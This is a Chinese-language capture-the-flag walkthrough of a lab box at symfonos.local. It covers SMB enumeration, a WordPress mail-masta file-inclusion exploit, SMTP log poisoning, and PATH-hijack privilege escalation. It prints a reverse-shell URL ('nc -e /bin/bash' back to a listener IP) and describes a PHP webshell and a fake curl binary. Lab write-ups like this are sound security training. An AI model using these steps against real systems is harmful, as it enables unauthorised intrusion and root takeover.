先nmap一下:
可以看到139和445端口开启了smb服务,这是一个比较好的入手点。
SMB(服务器消息块)是一种协议,它允许同一网络上的资源共享文件,浏览网络并通过网络进行打印。它最初用于Windows,但是Unix系统可以通过Samba使用SMB。今天,我们使用Enum4linux工具从目标中提取信息,并使用smbclient连接到SMB共享并传输文件。
enum4linux是一款信息收集工具。具体enum4linux的各种操作可以参考这篇博客:http://www.360doc.com/content/12/0121/07/4310958_959453592.shtml。
先通过enum4linux发现存在用户helios以及一些共享文件:

这里补充一下: IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
以及有关密码的提示:

尝试通过smbclient访问共享文件:Smbclient是一种用于访问服务器上SMB资源的工具,就像FTP客户端用于访问文件一样。它提供了一个简单的命令行界面。
尝试访问anonymous目录(前面两个暂时看不了):

ls一下,发现有一个attention.txt文件,get(用于从服务器获取文件)下来:


attention.txt文件中的内容:

这边提示了我们可能的密码,可以尝试登陆一下之前没办法访问的helios了,发现用户-密码是helios-qwerty:

ls一下发现有两个txt文件:

下载下来以后发现todo.txt里面的内容是有用的:

第三句话应该是在提示一个目录,回到之前扫描的端口发现是开放了http服务的,于是进去看一下:

发现是wordpress,whatweb一下发现的确如此:

针对wordpress,可以wpscan一下(关于wpscan的使用说明可以参考https://blog.csdn.net/qq_41453285/article/details/100898310)。
先添加hosts(这儿没弄明白为啥要添加,不添加也能访问但是扫不出来。。。):

然后再wpscan:wpscan --url http://symfonos.local/h3l105/
wordpress的漏洞主要还是出现在插件中:

查找一下mail-masta 1.0是否有对应的漏洞:

发现有一个文件包含漏洞,查看path指向的文件(注意:真实的路径是/usr/share/exploitdb/exploits/+path):

文件中给了我们这个漏洞的介绍以及可以使用的POC,我们拿去验证下:

本地文件包含成功。接下来就是想办法把文件包含变成命令执行,就可以获得一个shell了。
之前端口扫描有发现25端口开放了SMTP服务,那么可以考虑日志包含反弹shell的命令,再通过访问日志文件去触发命令(注意常见的日志目录:Apache:/var/log/apache2/access.log ssh: /var/log/auth.log ,邮件日志文件目录:/var/mail 每个用户文件在各自用户目录下 如www-data : /var/mail/www-data)。
那么接下来的任务就是通过SMTP在日志文件中写下一句话木马再进行命令执行(php解释器会解析包含文件,如果无法解析就会打印出来)。
telnet是使用SMTP协议的,由此写入一句话木马:

可以看到写入成功:

直接执行url并在本地9999端口进行监听:
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc -e /bin/bash 192.168.190.128 9999
反弹shell成功:
![]()
下面就是想办法提权了。
查看具有可能可以用来提权为root权限的文件:

下面尝试了一番就没有头绪了,这里面没有像find那样可以加command的命令。
通过strings命令查看/opt/statuscheck文件(注意:strings命令输出的字符串长度为4个或4个以上的,长度小于4的字符串将不予打印,我们可以通过-n参数调整,strings -n 2 filename):

发现存在curl命令(curl(CommandLine Uniform Resource Locator),即在命令行中利用URL进行数据或者文件传输。),想到覆盖curl命令为自己的命令。也就是自行创建一个curl程序,将其路径添加到$PATH环境变量中,则/opt/statuscheck程序执行时,就劫持了curl程序为我们自己的恶意程序。
查看curl命令以及环境变量的信息(which指令会在环境变量$PATH设置的目录里查找符合条件的文件。):

接下来在tmp目录下创建curl文件,内容为/bin/sh(/bin/sh与/bin/bash的区别:https://blog.csdn.net/hcbbt/article/details/43305179):

并修改curl文件为可执行:
![]()
然后把/tmp添加到环境变量中(export用于设置或显示环境变量):

然后执行/opt/statuscheck即可提权成功(只能是euid=0):

参考:https://www.anquanke.com/post/id/182378
https://blog.csdn.net/weixin_45509443/article/details/107729443
浙公网安备 33010602011771号